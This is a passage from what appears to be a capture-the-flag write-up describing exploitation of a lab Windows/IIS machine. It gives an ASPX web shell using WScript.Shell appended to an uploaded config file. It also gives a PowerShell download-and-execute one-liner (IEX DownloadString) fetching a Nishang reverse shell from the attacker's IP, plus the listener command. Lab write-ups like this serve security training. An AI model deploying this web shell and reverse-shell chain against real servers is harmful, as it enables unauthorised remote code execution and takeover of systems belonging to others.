# Exploitation

Based on the information from before, we know that we can execute aspx. This was done through math which proves itself from the loaded page from before Lets upload a shell.

## Executing Commands via created script

Create a file called web.aspx with the following code.&#x20;

```
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("")
o = cmd.StdOut.Readall()
Response.write(o)
%>
```

Next add that code to the end of the config file we created earlier

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MN9Z2G30nr1M4X4v1Rf%2F-MNA5sBSzzA6Mlc0zRaF%2Fimage.png?alt=media\&token=261c670e-e24a-43d6-8b10-c5c862f43283)

Set up a icmp listenin on our attack machine to see if there is communication between the server and us.

```
kali@kali:~$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
14:10:37.180009 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 1, length 40
14:10:37.180028 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 1, length 40
14:10:38.187828 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 2, length 40
14:10:38.187846 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 2, length 40
14:10:39.185159 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 3, length 40
14:10:39.185177 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 3, length 40
14:10:40.184495 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 4, length 40
14:10:40.184509 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 4, length 40
```

The server is communicating with us. That is good news.&#x20;

## Establishing Reverse Shell

{% embed url="https://github.com/samratashok/nishang" %}

At the bottom of the shell.ps1 script set up your listener with the following code.

```
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 1234
```

Modified config file that will download our shell. This creates and object instance of a Windows shell. Then we use this instance to invoke Powershell in order to download the Powershell TCP shell from our exploit machine.

```
<%
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.34:5555/shell.ps1')")
%>
```

![Established connection](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MNTiVifmzS3ACjvkeJO%2F-MNTrNh5cCYqt6bB4TGx%2Fimage.png?alt=media\&token=7738cdc2-265e-4a23-b5fc-c65a88d48537)





